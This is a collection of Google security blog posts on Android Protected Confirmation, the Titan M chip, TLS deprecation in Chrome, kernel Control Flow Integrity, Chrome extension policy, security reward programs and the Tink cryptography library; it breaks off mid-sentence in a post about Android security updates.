Posted by Janis Danisevskis, Information Security Engineer, Android Security[Cross-posted from the Android Developers Blog]In Android Pie, we introduced Android Protected Confirmation, the first major mobile OS API that leverages a hardware protected user interface (Trusted UI) to perform critical transactions completely outside the main mobile operating system. This Trusted UI protects the choices you make from fraudulent apps or a compromised operating system. When an app invokes Protected Confirmation, control is passed to the Trusted UI, where transaction data is displayed and user confirmation of that data's correctness is obtained. Once confirmed, your intention is cryptographically authenticated and unforgeable when conveyed to the relying party, for example, your bank. Protected Confirmation increases the bank's confidence that it acts on your behalf, providing a higher level of protection for the transaction. Protected Confirmation also adds additional security relative to other forms of secondary authentication, such as a One Time Password or Transaction Authentication Number. These mechanisms can be frustrating for mobile users and also fail to protect against a compromised device that can corrupt transaction data or intercept one-time confirmation text messages. Once the user approves a transaction, Protected Confirmation digitally signs the confirmation message. Because the signing key never leaves the Trusted UI's hardware sandbox, neither app malware nor a compromised operating system can fool the user into authorizing anything. Protected Confirmation signing keys are created using Android's standard AndroidKeyStore API. Before it can start using Android Protected Confirmation for end-to-end secure transactions, the app must enroll the public KeyStore key and its Keystore Attestation certificate with the remote relying party. The attestation certificate certifies that the key can only be used to sign Protected Confirmations. There are many possible use cases for Android Protected Confirmation. At Google I/O 2018, the What's new in Android security session showcased partners planning to leverage Android Protected Confirmation in a variety of ways, including Royal Bank of Canada person to person money transfers; Duo Security, Nok Nok Labs, and ProxToMe for user authentication; and Insulet Corporation and Bigfoot Biomedical, for medical device control. Insulet, a global leading manufacturer of tubeless patch insulin pumps, has demonstrated how they can modify their FDA cleared Omnipod DASH TM Insulin management system in a test environment to leverage Protected Confirmation to confirm the amount of insulin to be injected. This technology holds the promise for improved quality of life and reduced cost by enabling a person with diabetes to leverage their convenient, familiar, and secure smartphone for control rather than having to rely on a secondary, obtrusive, and expensive remote control device. (Note: The Omnipod DASH™ System is not cleared for use with Pixel 3 mobile device or Protected Confirmation). This work is fulfilling an important need in the industry. Since smartphones do not fit the mold of an FDA approved medical device, we've been working with FDA as part of DTMoSt, an industry-wide consortium, to define a standard for phones to safely control medical devices, such as insulinSince smartphones do not fit the mold of an FDA approved medical device, we've been working with FDA as part of DTMoSt, an industry-wide consortium, to define a standard for phones to safely control medical devices, such as insulin pumps. A technology like Protected Confirmation plays an important role in gaining higher assurance of user intent and medical safety. To integrate Protected Confirmation into your app, check out the Android Protected Confirmation training article. Android Protected Confirmation is an optional feature in Android Pie. Because it has low-level hardware dependencies, Protected Confirmation may not be supported by all devices running Android Pie. Google Pixel 3 and 3XL devices are the first to support Protected Confirmation, and we are working closely with other manufacturers to adopt this market-leading security innovation on more devices.

Posted by Nagendra Modadugu and Bill Richardson, Google Device Security Group[Cross-posted from the Android Developers Blog]At the Made by Google event last week, we talked about the combination of AI + Software + Hardware to help organize your information. To better protect that information at a hardware level, our new Pixel 3 and Pixel 3 XL devices include a Titan M chip.We briefly introduced Titan M and some of its benefits on our Keyword Blog, and with this post we dive into some of its technical details. Titan M is a second-generation, low-power security module designed and manufactured by Google, and is a part of the Titan family. As described in the Keyword Blog post, Titan M performs several security sensitive functions, including: Storing and enforcing the locks and rollback counters used by Android Verified Boot. Securely storing secrets and rate-limiting invalid attempts at retrieving them using the Weaver API.Providing backing for the Android Strongbox Keymaster module, including Trusted User Presence and Protected Confirmation. Titan M has direct electrical connections to the Pixel's side buttons, so a remote attacker can't fake button presses. These features are available to third-party apps, such as FIDO U2F Authentication. Enforcing factory-reset policies, so that lost or stolen phones can only be restored to operation by the authorized owner. Ensuring that even Google can't unlock a phone or install firmware updates without the owner's cooperation with Insider Attack Resistance.Including Titan M in Pixel 3 devices substantially reduces the attack surface. Because Titan M is a separate chip, the physical isolation mitigates against entire classes of hardware-level exploits such as Rowhammer, Spectre, and Meltdown. Titan M's processor, caches, memory, and persistent storage are not shared with the rest of the phone's system, so side channel attacks like these—which rely on subtle, unplanned interactions between internal circuits of a single component—are nearly impossible. In addition to its physical isolation, the Titan M chip contains many defenses to protect against external attacks. But Titan M is not just a hardened security microcontroller, but rather a full-lifecycle approach to security with Pixel devices in mind. Titan M's security takes into consideration all the features visible to Android down to the lowest level physical and electrical circuit design and extends beyond each physical device to our supply chain and manufacturing processes. At the physical level, we incorporated essential features optimized for the mobile experience: low power usage, low-latency, hardware crypto acceleration, tamper detection, and secure, timely firmware updates. We improved and invested in the supply chain for Titan M by creating a custom provisioning process, which provides us with transparency and control starting from the earliest silicon stages. Finally, in the interest of transparency, the Titan M firmware source code will be publicly available soon. While Google holds the root keys necessary to sign Titan M firmware, it will be possible to reproduce binary builds based on the public source for the purpose of binary transparency. A closer look at Titan MTitan (left) and Titan M (right)Titan M's CPU is an ARM Cortex-M3 microprocessor specially hardened against side-channel attacks and augmented with defensive features to detect and respond to abnormal conditions. The Titan M CPU core also exposes several control registers, which can be used to taper access to chip configuration settings and peripherals. Once powered on, Titan M verifies the signature of its flash-based firmware using a public key built into the chip's silicon. If the signature is valid, the flash is locked so it can't be modified, and then the firmware begins executing. Titan M also features several hardware accelerators: AES, SHA, and a programmable big number coprocessor for public key algorithms. These accelerators are flexible and can either be initialized with keys provided by firmware or with chip-specific and hardware-bound keys generated by the Key Manager module. Chip-specific keys are generated internally based on entropy derived from the True Random Number Generator (TRNG), and thus such keys are never externally available outside the chip over its entire lifetime. While implementing Titan M firmware, we had to take many system constraints into consideration. For example, packing as many security features into Titan M's 64 Kbytes of RAM required all firmware to execute exclusively off the stack. And to reduce flash-wear, RAM contents can be preserved even during low-power mode when most hardware modules are turned off. The diagram below provides a high-level view of the chip components described here. Better security through transparency and innovationAt the heart of our implementation of Titan M are two broader trends: transparency and building a platform for future innovation. Transparency around every step of the design process — from logic gates to boot code to the applications — gives us confidence in the defenses we're providing for our users. We know what's inside, how it got there, how it works, and who can make changes. Custom hardware allows us to provide new features, capabilities, and performance not readily available in off-the-shelf components. These changes allow higher assurance use cases like two-factor authentication, medical device control, P2P payments, and others that we will help develop down the road. As more of our lives are bound up in our phones, keeping those phones secure and trustworthy is increasingly important. Google takes that responsibility seriously. Titan M is just the latest step in our continuing efforts to improve the privacy and security of all our users.

Posted by David Benjamin, Chrome networking*Updated on October 17, 2018 with details about changes in other browsersTLS (Transport Layer Security) is the protocol which secures HTTPS. It has a long history stretching back to the nearly twenty-year-old TLS 1.0 and its even older predecessor, SSL. Over that time, we have learned a lot about how to build secure protocols.TLS 1.2 was published ten years ago to address weaknesses in TLS 1.0 and 1.1 and has enjoyed wide adoption since then. Today only 0.5% of HTTPS connections made by Chrome use TLS 1.0 or 1.1. These old versions of TLS rely on MD5 and SHA-1, both now broken, and contain other flaws. TLS 1.0 is no longer PCI-DSS compliant and the TLS working group has adopted a document to deprecate TLS 1.0 and TLS 1.1.In line with these industry standards, Google Chrome will deprecate TLS 1.0 and TLS 1.1 in Chrome 72. Sites using these versions will begin to see deprecation warnings in the DevTools console in that release. TLS 1.0 and 1.1 will be disabled altogether in Chrome 81. This will affect users on early release channels starting January 2020. Apple, Microsoft, and Mozilla have made similar announcements.Site administrators should immediately enable TLS 1.2 or later. Depending on server software (such as Apache or nginx), this may be a configuration change or a software update. Additionally, we encourage all sites to revisit their TLS configuration. Chrome’s current criteria for modern TLS is the following:TLS 1.2 or later.An ECDHE- and AEAD-based cipher suite. AEAD-based cipher suites are those using AES-GCM or ChaCha20-Poly1305. ECDHE_RSA_WITH_AES_128_GCM_SHA256 is the recommended option for most sites.The server signature should use SHA-2. Note this is not the signature in the certificate, made by the CA. Rather, it is the signature made by the server itself, using its private key.The older options—CBC-mode cipher suites, RSA-encryption key exchange, and SHA-1 online signatures—all have known cryptographic flaws. Each has been removed in the newly-published TLS 1.3, which is supported in Chrome 70. We retain them at prior versions for compatibility with legacy servers, but we will be evaluating them over time for eventual deprecation.None of these changes require obtaining a new certificate. Additionally, they are backwards-compatible. Where necessary, servers may enable both modern and legacy options, to continue to support legacy clients. Note, however, such support may carry security risks. (For example, see the DROWN, FREAK, and ROBOT attacks.)Over the coming Chrome releases, we will improve the DevTools Security Panel to point out deviations from these settings, and suggest improvements to the site’s configuration.Enterprise deployments can preview the TLS 1.0 and 1.1 removal today by setting the SSLVersionMin policy to “tls1.2”. For enterprise deployments that need more time, this same policy can be used to re-enable TLS 1.0 or TLS 1.1 until January 2021.

Posted by Troy Kensinger, Technical Program Manager, Android Security and PrivacyAndroid is all about choice. As such, Android strives to provide users many options to protect their data. By combining Android’s Backup Service and Google Cloud’s Titan Technology, Android has taken additional steps to securing users' data while maintaining their privacy.Starting in Android Pie, devices can take advantage of a new capability where backed-up application data can only be decrypted by a key that is randomly generated at the client. This decryption key is encrypted using the user's lockscreen PIN/pattern/passcode, which isn’t known by Google. Then, this passcode-protected key material is encrypted to a Titan security chip on our datacenter floor. The Titan chip is configured to only release the backup decryption key when presented with a correct claim derived from the user's passcode. Because the Titan chip must authorize every access to the decryption key, it can permanently block access after too many incorrect attempts at guessing the user’s passcode, thus mitigating brute force attacks. The limited number of incorrect attempts is strictly enforced by a custom Titan firmware that cannot be updated without erasing the contents of the chip. By design, this means that no one (including Google) can access a user's backed-up application data without specifically knowing their passcode.To increase our confidence that this new technology securely prevents anyone from accessing users' backed-up application data, the Android Security & Privacy team hired global cyber security and risk mitigation expert NCC Group to complete a security audit. Some of the outcomes included positives around Google’s security design processes, validation of code quality, and that mitigations for known attack vectors were already taken into account prior to launching the service. While there were some issues discovered during this audit, engineers corrected them quickly. For more details on how the end-to-end service works and a detailed report of NCC Group’s findings, click here.Getting external reviews of our security efforts is one of many ways that Google and Android maintain transparency and openness which in turn helps users feel safe when it comes to their data. Whether it’s 100s of hours of gaming data or your personalized preferences in your favorite Google apps, our users' information is protected.We want to acknowledge contributions from Shabsi Walfish, Software Engineering Lead, Identity and Authentication to this effort

Posted by Sami Tolvanen, Staff Software Engineer, Android Security & Privacy[Cross-posted from the Android Developers Blog]Android's security model is enforced by the Linux kernel, which makes it a tempting target for attackers. We have put a lot of effort into hardening the kernel in previous Android releases and in Android 9, we continued this work by focusing on compiler-based security mitigations against code reuse attacks. Google's Pixel 3 will be the first Android device to ship with LLVM's forward-edge Control Flow Integrity (CFI) enforcement in the kernel, and we have made CFI support available in Android kernel versions 4.9 and 4.14. This post describes how kernel CFI works and provides solutions to the most common issues developers might run into when enabling the feature. Protecting against code reuse attacksA common method of exploiting the kernel is using a bug to overwrite a function pointer stored in memory, such as a stored callback pointer or a return address that had been pushed to the stack. This allows an attacker to execute arbitrary parts of the kernel code to complete their exploit, even if they cannot inject executable code of their own. This method of gaining code execution is particularly popular with the kernel because of the huge number of function pointers it uses, and the existing memory protections that make code injection more challenging. CFI attempts to mitigate these attacks by adding additional checks to confirm that the kernel's control flow stays within a precomputed graph. This doesn't prevent an attacker from changing a function pointer if a bug provides write access to one, but it significantly restricts the valid call targets, which makes exploiting such a bug more difficult in practice. Figure 1. In an Android device kernel, LLVM's CFI limits 55% of indirect calls to at most 5 possible targets and 80% to at most 20 targets.Gaining full program visibility with Link Time Optimization (LTO)In order to determine all valid call targets for each indirect branch, the compiler needs to see all of the kernel code at once. Traditionally, compilers work on a single compilation unit (source file) at a time and leave merging the object files to the linker. LLVM's solution to CFI is to require the use of LTO, where the compiler produces LLVM-specific bitcode for all C compilation units, and an LTO-aware linker uses the LLVM back-end to combine the bitcode and compile it into native code. Figure 2. A simplified overview of how LTO works in the kernel. All LLVM bitcode is combined, optimized, and generated into native code at link time.Linux has used the GNU toolchain for assembling, compiling, and linking the kernel for decades. While we continue to use the GNU assembler for stand-alone assembly code, LTO requires us to switch to LLVM's integrated assembler for inline assembly, and either GNU gold or LLVM's own lld as the linker. Switching to a relatively untested toolchain on a huge software project will lead to compatibility issues, which we have addressed in our arm64 LTO patch sets for kernel versions 4.9 and 4.14. In addition to making CFI possible, LTO also produces faster code due to global optimizations. However, additional optimizations often result in a larger binary size, which may be undesirable on devices with very limited resources. Disabling LTO-specific optimizations, such as global inlining and loop unrolling, can reduce binary size by sacrificing some of the performance gains. When using GNU gold, the aforementioned optimizations can be disabled with the following additions to LDFLAGS: LDFLAGS += -plugin-opt=-inline-threshold=0 \ -plugin-opt=-unroll-threshold=0Note that flags to disable individual optimizations are not part of the stable LLVM interface and may change in future compiler versions. Implementing CFI in the Linux kernelLLVM's CFI implementation adds a check before each indirect branch to confirm that the target address points to a valid function with a correct signature. This prevents an indirect branch from jumping to an arbitrary code location and even limits the functions that can be called. As C compilers do not enforce similar restrictions on indirect branches, there were several CFI violations due to function type declaration mismatches even in the core kernel that we have addressed in our CFI patch sets for kernels 4.9 and 4.14. Kernel modules add another complication to CFI, as they are loaded at runtime and can be compiled independently from the rest of the kernel. In order to support loadable modules, we have implemented LLVM's cross-DSO CFI support in the kernel, including a CFI shadow that speeds up cross-module look-ups. When compiled with cross-DSO support, each kernel module contains information about valid local branch targets, and the kernel looks up information from the correct module based on the target address and the modules' memory layout. Figure 3. An example of a cross-DSO CFI check injected into an arm64 kernel. Type information is passed in X0 and the target address to validate in X1.CFI checks naturally add some overhead to indirect branches, but due to more aggressive optimizations, our tests show that the impact is minimal, and overall system performance even improved 1-2% in many cases. Enabling kernel CFI for an Android deviceCFI for arm64 requires clang version >= 5.0 and binutils >= 2.27. The kernel build system also assumes that the LLVMgold.so plug-in is available in LD_LIBRARY_PATH. Pre-built toolchain binaries for clang and binutils are available in AOSP, but upstream binaries can also be used. The following kernel configuration options are needed to enable kernel CFI: CONFIG_LTO_CLANG=yCONFIG_CFI_CLANG=yUsing CONFIG_CFI_PERMISSIVE=y may also prove helpful when debugging a CFI violation or during device bring-up. This option turns a violation into a warning instead of a kernel panic. As mentioned in the previous section, the most common issue we ran into when enabling CFI on Pixel 3 were benign violations caused by function pointer type mismatches. When the kernel runs into such a violation, it prints out a runtime warning that contains the call stack at the time of the failure, and the call target that failed the CFI check. Changing the code to use a correct function pointer type fixes the issue. While we have fixed all known indirect branch type mismatches in the Android kernel, similar problems may be still found in device specific drivers, for example. CFI failure (target: [<fffffff3e83d4d80>] my_target_function+0x0/0xd80):------------[ cut here ]------------kernel BUG at kernel/cfi.c:32!Internal error: Oops - BUG: 0 [#1] PREEMPT SMP…Call trace:…[<ffffff8752d00084>] handle_cfi_failure+0x20/0x28[<ffffff8752d00268>] my_buggy_function+0x0/0x10…Figure 4. An example of a kernel panic caused by a CFI failure.Another potential pitfall are address space conflicts, but this should be less common in driver code. LLVM's CFI checks only understand kernel virtual addresses and any code that runs at another exception level or makes an indirect call to a physical address will result in a CFI violation. These types of failures can be addressed by disabling CFI for a single function using the __nocfi attribute, or even disabling CFI for entire code files using the $(DISABLE_CFI) compiler flag in the Makefile. static int __nocfi address_space_conflict(){ void (*fn)(void); …/* branching to a physical address trips CFI w/o __nocfi */ fn = (void *)__pa_symbol(function_name); cpu_install_idmap(); fn(); cpu_uninstall_idmap(); …}Figure 5. An example of fixing a CFI failure caused by an address space conflict.Finally, like many hardening features, CFI can also be tripped by memory corruption errors that might otherwise result in random kernel crashes at a later time. These may be more difficult to debug, but memory debugging tools such as KASAN can help here. ConclusionWe have implemented support for LLVM's CFI in Android kernels 4.9 and 4.14. Google's Pixel 3 will be the first Android device to ship with these protections, and we have made the feature available to all device vendors through the Android common kernel. If you are shipping a new arm64 device running Android 9, we strongly recommend enabling kernel CFI to help protect against kernel vulnerabilities. LLVM's CFI protects indirect branches against attackers who manage to gain access to a function pointer stored in kernel memory. This makes a common method of exploiting the kernel more difficult. Our future work involves also protecting function return addresses from similar attacks using LLVM's Shadow Call Stack, which will be available in an upcoming compiler release.

Posted by James Wagner, Chrome Extensions Product Manager[Cross-posted from the Chromium blog] Incredibly, it’s been nearly a decade since we launched the Chrome extensions system. Thanks to the hard work and innovation of our developer community, there are now more than 180,000 extensions in the Chrome Web Store, and nearly half of Chrome desktop users actively use extensions to customize Chrome and their experience on the web.The extensions team's dual mission is to help users tailor Chrome’s functionality to their individual needs and interests, and to empower developers to build rich and useful extensions. But, first and foremost, it’s crucial that users be able to trust the extensions they install are safe, privacy-preserving, and performant. Users should always have full transparency about the scope of their extensions’ capabilities and data access.We’ve recently taken a number of steps toward improved extension security with the launch of out-of-process iframes, the removal of inline installation, and significant advancements in our ability to detect and block malicious extensions using machine learning. Looking ahead, there are more fundamental changes needed so that all Chrome extensions are trustworthy by default.Today we’re announcing some upcoming changes and plans for the future:User controls for host permissionsBeginning in Chrome 70, users will have the choice to restrict extension host access to a custom list of sites, or to configure extensions to require a click to gain access to the current page.While host permissions have enabled thousands of powerful and creative extension use cases, they have also led to a broad range of misuse - both malicious and unintentional - because they allow extensions to automatically read and change data on websites. Our aim is to improve user transparency and control over when extensions are able to access site data. In subsequent milestones, we’ll continue to optimize the user experience toward this goal while improving usability. If your extension requests host permissions, we encourage you to review our transition guide and begin testing as soon as possible.Changes to the extensions review processGoing forward, extensions that request powerful permissions will be subject to additional compliance review. We’re also looking very closely at extensions that use remotely hosted code, with ongoing monitoring. Your extension’s permissions should be as narrowly-scoped as possible, and all your code should be included directly in the extension package, to minimize review time.New code reliability requirementsStarting today, Chrome Web Store will no longer allow extensions with obfuscated code. This includes code within the extension package as well as any external code or resource fetched from the web. This policy applies immediately to all new extension submissions. Existing extensions with obfuscated code can continue to submit updates over the next 90 days, but will be removed from the Chrome Web Store in early January if not compliant.Today over 70% of malicious and policy violating extensions that we block from Chrome Web Store contain obfuscated code. At the same time, because obfuscation is mainly used to conceal code functionality, it adds a great deal of complexity to our review process. This is no longer acceptable given the aforementioned review process changes.Additionally, since JavaScript code is always running locally on the user's machine, obfuscation is insufficient to protect proprietary code from a truly motivated reverse engineer. Obfuscation techniques also come with hefty performance costs such as slower execution and increased file and memory footprints.Ordinary minification, on the other hand, typically speeds up code execution as it reduces code size, and is much more straightforward to review. Thus, minification will still be allowed, including the following techniques:Removal of whitespace, newlines, code comments, and block delimitersShortening of variable and function namesCollapsing the number of JavaScript filesIf you have an extension in the store with obfuscated code, please review our updated content policies as well as our recommended minification techniques for Google Developers, and submit a new compliant version before January 1st, 2019.Required 2-step verificationIn 2019, enrollment in 2-Step Verification will be required for Chrome Web Store developer accounts. If your extension becomes popular, it can attract attackers who want to steal it by hijacking your account, and 2-Step Verification adds an extra layer of security by requiring a second authentication step from your phone or a physical security key. We strongly recommend that you enroll as soon as possible.For even stronger account security, consider the Advanced Protection Program. Advanced protection offers the same level of security that Google relies on for its own employees, requiring a physical security key to provide the strongest defense against phishing attacks.Looking ahead: Manifest v3In 2019 we will introduce the next extensions manifest version. Manifest v3 will entail additional platform changes that aim to create stronger security, privacy, and performance guarantees. We want to help all developers fall into the pit of success; writing a secure and performant extension in Manifest v3 should be easy, while writing an insecure or non-performant extension should be difficult.Some key goals of manifest v3 include:More narrowly-scoped and declarative APIs, to decrease the need for overly-broad access and enable more performant implementation by the browser, while preserving important functionalityAdditional, easier mechanisms for users to control the permissions granted to extensionsModernizing to align with new web capabilities, such as supporting Service Workers as a new type of background processWe intend to make the transition to manifest v3 as smooth as possible and we’re thinking carefully about the rollout plan. We’ll be in touch soon with more specific details.We recognize that some of the changes announced today may require effort in the future, depending on your extension. But we believe the collective result will be worth that effort for all users, developers, and for the long term health of the Chrome extensions ecosystem. We’re committed to working with you to transition through these changes and are very interested in your feedback. If you have questions or comments, please get in touch with us on the Chromium extensions forum.

table, th, td { border: 1px solid black; } td { width:100px; } Posted by Jason Woloz and Mayank Jain, Android Security & Privacy Team[Cross-posted from the Android Developers Blog]Our Android and Play security reward programs help us work with top researchers from around the world to improve Android ecosystem security every day. Thank you to all the amazing researchers who submitted vulnerability reports. Android Security RewardsIn the ASR program's third year, we received over 470 qualifying vulnerability reports from researchers and the average pay per researcher jumped by 23%. To date, the ASR program has rewarded researchers with over $3M, paying out roughly $1M per year. Here are some of the highlights from the Android Security Rewards program's third year: There were no payouts for our highest possible reward: a complete remote exploit chain leading to TrustZone or Verified Boot compromise. 99 individuals contributed one or more fixes. The ASR program's reward averages were $2,600 per reward and $12,500 per researcher. Guang Gong received our highest reward amount to date: $105,000 for his submission of a remote exploit chain. As part of our ongoing commitment to security we regularly update our programs and policies based on ecosystem feedback. We also updated our severity guidelines for evaluating the impact of reported security vulnerabilities against the Android platform. Google Play Security RewardsIn October 2017, we rolled out the Google Play Security Reward Program to encourage security research into popular Android apps available on Google Play. So far, researchers have reported over 30 vulnerabilities through the program, earning a combined bounty amount of over $100K. If undetected, these vulnerabilities could have potentially led to elevation of privilege, access to sensitive data and remote code execution on devices. Keeping devices secureIn addition to rewarding for vulnerabilities, we continue to work with the broad and diverse Android ecosystem to protect users from issues reported through our program. We collaborate with manufacturers to ensure that these issues are fixed on their devices through monthly security updates. Over 250 device models have a majority of their deployed devices running a security update from the last 90 days. This table shows the models with a majority of deployed devices running a security update from the last three months: ManufacturerDeviceANSL50AsusZenFone 5Z (ZS620KL/ZS621KL), ZenFone Max Plus M1 (ZB570TL), ZenFone 4 Pro (ZS551KL), ZenFone 5 (ZE620KL), ZenFone Max M1 (ZB555KL), ZenFone 4 (ZE554KL), ZenFone 4 Selfie Pro (ZD552KL), ZenFone 3 (ZE552KL), ZenFone 3 Zoom (ZE553KL), ZenFone 3 (ZE520KL), ZenFone 3 Deluxe (ZS570KL), ZenFone 4 Selfie (ZD553KL), ZenFone Live L1 (ZA550KL), ZenFone 5 Lite (ZC600KL), ZenFone 3s Max (ZC521TL)BlackBerryBlackBerry MOTION, BlackBerry KEY2BluGrand XL LTE, Vivo ONE, R2_3G, Grand_M2, BLU STUDIO J8 LTEbqAquaris V Plus, Aquaris V, Aquaris U2 Lite, Aquaris U2, Aquaris X, Aquaris X2, Aquaris X Pro, Aquaris U Plus, Aquaris X5 Plus, Aquaris U lite, Aquaris UDocomoF-04K, F-05J, F-03HEssential ProductsPH-1FujitsuF-01KGeneral MobileGM8, GM8 GoGooglePixel 2 XL, Pixel 2, Pixel XL, PixelHTCU12+, HTC U11+HuaweiHonor Note10, nova 3, nova 3i, Huawei Nova 3I, 荣耀9i, 华为G9青春版, Honor Play, G9青春版, P20 Pro, Honor V9, huawei nova 2, P20 lite, Honor 10, Honor 8 Pro, Honor 6X, Honor 9, nova 3e, P20, PORSCHE DESIGN HUAWEI Mate RS, FRD-L02, HUAWEI Y9 2018, Huawei Nova 2, Honor View 10, HUAWEI P20 Lite, Mate 9 Pro, Nexus 6P, HUAWEI Y5 2018, Honor V10, Mate 10 Pro, Mate 9, Honor 9, Lite, 荣耀9青春版, nova 2i, HUAWEI nova 2 Plus, P10 lite, nova 青春版本, FIG-LX1, HUAWEI G Elite Plus, HUAWEI Y7 2018, Honor 7S, HUAWEI P smart, P10, Honor 7C, 荣耀8青春版, HUAWEI Y7 Prime 2018, P10 Plus, 荣耀畅玩7X, HUAWEI Y6 2018, Mate 10 lite, Honor 7A, P9 Plus, 华为畅享8, honor 6x, HUAWEI P9 lite mini, HUAWEI GR5 2017, Mate 10ItelP13KyoceraX3LanixAlpha_950, Ilium X520LavaZ61, Z50LGELG Q7+, LG G7 ThinQ, LG Stylo 4, LG K30, V30+, LG V35 ThinQ, Stylo 2 V, LG K20 V, ZONE4, LG Q7, DM-01K, Nexus 5X, LG K9, LG K11MotorolaMoto Z Play Droid, moto g(6) plus, Moto Z Droid, Moto X (4), Moto G Plus (5th Gen), Moto Z (2) Force, Moto G (5S) Plus, Moto G (5) Plus, moto g(6) play, Moto G (5S), moto e5 play, moto e(5) play, moto e(5) cruise, Moto E4, Moto Z Play, Moto G (5th Gen)NokiaNokia 8, Nokia 7 plus, Nokia 6.1, Nokia 8 Sirocco, Nokia X6, Nokia 3.1OnePlusOnePlus 6, OnePlus5T, OnePlus3T, OnePlus5, OnePlus3OppoCPH1803, CPH1821, CPH1837, CPH1835, CPH1819, CPH1719, CPH1613, CPH1609, CPH1715, CPH1861, CPH1831, CPH1801, CPH1859, A83, R9s PlusPositivoTwist, Twist MiniSamsungGalaxy A8 Star, Galaxy J7 Star, Galaxy Jean, Galaxy On6, Galaxy Note9, Galaxy J3 V, Galaxy A9 Star, Galaxy J7 V, Galaxy S8 Active, Galaxy Wide3, Galaxy J3 Eclipse, Galaxy S9+, Galaxy S9, Galaxy A9 Star Lite, Galaxy J7 Refine, Galaxy J7 Max, Galaxy Wide2, Galaxy J7(2017), Galaxy S8+, Galaxy S8, Galaxy A3(2017), Galaxy Note8, Galaxy A8+(2018), Galaxy J3 Top, Galaxy J3 Emerge, Galaxy On Nxt, Galaxy J3 Achieve, Galaxy A5(2017), Galaxy J2(2016), Galaxy J7 Pop, Galaxy A6, Galaxy J7 Pro, Galaxy A6 Plus, Galaxy Grand Prime Pro, Galaxy J2 (2018), Galaxy S6 Active, Galaxy A8(2018), Galaxy J3 Pop, Galaxy J3 Mission, Galaxy S6 edge+, Galaxy Note Fan Edition, Galaxy J7 Prime, Galaxy A5(2016)Sharpシンプルスマホ４, AQUOS sense plus (SH-M07), AQUOS R2 SH-03K, X4, AQUOS R SH-03J, AQUOS R2 SHV42, X1, AQUOS sense lite (SH-M05)SonyXperia XZ2 Premium, Xperia XZ2 Compact, Xperia XA2, Xperia XA2 Ultra, Xperia XZ1 Compact, Xperia XZ2, Xperia XZ Premium, Xperia XZ1, Xperia L2, Xperia XTecnoF1, CAMON I AceVestelVestel Z20Vivovivo 1805, vivo 1803, V9 6GB, Y71, vivo 1802, vivo Y85A, vivo 1726, vivo 1723, V9, vivo 1808, vivo 1727, vivo 1724, vivo X9s Plus, Y55s, vivo 1725, Y66, vivo 1714, 1609, 1601VodafoneVodafone Smart N9XiaomiMi A2, Mi A2 Lite, MI 8, MI 8 SE, MIX 2S, Redmi 6Pro, Redmi Note 5 Pro, Redmi Note 5, Mi A1, Redmi S2, MI MAX 2, MI 6XZTEBLADE A6 MAXThank you to everyone internally and externally who helped make Android safer and stronger in the past year. Together, we made a huge investment in security research that helps Android users everywhere. If you want to get involved to make next year even better, check out our detailed program rules. For tips on how to submit complete reports, see Bug Hunter University.

Posted by Thai Duong, Information Security Engineer, on behalf of Tink teamAt Google, many product teams use cryptographic techniques to protect user data. In cryptography, subtle mistakes can have serious consequences, and understanding how to implement cryptography correctly requires digesting decades' worth of academic literature. Needless to say, many developers don’t have time for that.To help our developers ship secure cryptographic code we’ve developed Tink—a multi-language, cross-platform cryptographic library. We believe in open source and want Tink to become a community project—thus Tink has been available on GitHub since the early days of the project, and it has already attracted several external contributors. At Google, Tink is already being used to secure data of many products such as AdMob, Google Pay, Google Assistant, Firebase, the Android Search App, etc. After nearly two years of development, today we’re excited to announce Tink 1.2.0, the first version that supports cloud, Android, iOS, and more!Tink aims to provide cryptographic APIs that are secure, easy to use correctly, and hard(er) to misuse. Tink is built on top of existing libraries such as BoringSSL and Java Cryptography Architecture, but includes countermeasures to many weaknesses in these libraries, which were discovered by Project Wycheproof, another project from our team.With Tink, many common cryptographic operations such as data encryption, digital signatures, etc. can be done with only a few lines of code. Here is an example of encrypting and decrypting with our AEAD interface in Java: import com.google.crypto.tink.Aead;    import com.google.crypto.tink.KeysetHandle;    import com.google.crypto.tink.aead.AeadFactory;    import com.google.crypto.tink.aead.AeadKeyTemplates;    // 1. Generate the key material.    KeysetHandle keysetHandle = KeysetHandle.generateNew(        AeadKeyTemplates.AES256_EAX);    // 2. Get the primitive.    Aead aead = AeadFactory.getPrimitive(keysetHandle);    // 3. Use the primitive.    byte[] plaintext = ...;    byte[] additionalData = ...;    byte[] ciphertext = aead.encrypt(plaintext, additionalData);Tink aims to eliminate as many potential misuses as possible. For example, if the underlying encryption mode requires nonces and nonce reuse makes it insecure, then Tink does not allow the user to pass nonces. Interfaces have security guarantees that must be satisfied by each primitive implementing the interface. This may exclude some encryption modes. Rather than adding them to existing interfaces and weakening the guarantees of the interface, it is possible to add new interfaces and describe the security guarantees appropriately.We’re cryptographers and security engineers working to improve Google’s product security, so we built Tink to make our job easier. Tink shows the claimed security properties (e.g., safe against chosen-ciphertext attacks) right in the interfaces, allowing security auditors and automated tools to quickly discover usages where the security guarantees don’t match the security requirements. Tink also isolates APIs for potentially dangerous operations (e.g., loading cleartext keys from disk), which allows discovering, restricting, monitoring and logging their usage.Tink provides support for key management, including key rotation and phasing out deprecated ciphers. For example, if a cryptographic primitive is found to be broken, you can switch to a different primitive by rotating keys, without changing or recompiling code.Tink is also extensible by design: it is easy to add a custom cryptographic scheme or an in-house key management system so that it works seamlessly with other parts of Tink. No part of Tink is hard to replace or remove. All components are composable, and can be selected and assembled in various combinations. For example, if you need only digital signatures, you can exclude symmetric key encryption components to minimize code size in your application.To get started, please check out our HOW-TO for Java, C++ and Obj-C. If you'd like to talk to the developers or get notified about project updates, you may want to subscribe to our mailing list. To join, simply send an empty email to tink-users+subscribe@googlegroups.com. You can also post your questions to StackOverflow, just remember to tag them with tink.We’re excited to share this with the community, and welcome your feedback!

Posted by Dave Kleidermacher, VP, Head of Security - Android, Chrome OS, Play[Cross-posted from the Android Developers Blog]At Google I/O 2018, in our What's New in Android Security session, we shared a brief update on the Android security updates program. With the official release of Android 9 Pie, we wanted to share a more comprehensive update on the state of security updates, including best practice guidance for manufacturers, how we're making Android easier to update, and how we're ensuring compliance to Android security update releases. Commercial Best Practices around Android Security UpdatesAs we noted in our 2017 Android Security Year-in-Review, Android's anti-exploitation strength now leads the mobile industry and has made it exceedingly difficult and expensive to leverage operating system bugs into compromises. Nevertheless, an important defense-in-depth strategy is to ensure critical security updates are delivered in a timely manner. Monthly security updates are the recommended best practice for Android smartphones. We deliver monthly Android source code patches to smartphone manufacturers so they may incorporate those patches into firmware updates. We also deliver firmware updates over-the-air to Pixel devices on a reliable monthly cadence and offer the free use of Google's firmware over-the-air (FOTA) servers to manufacturers. Monthly security updates are also required for devices covered under the Android One program. While monthly security updates are best, at minimum, Android manufacturers should 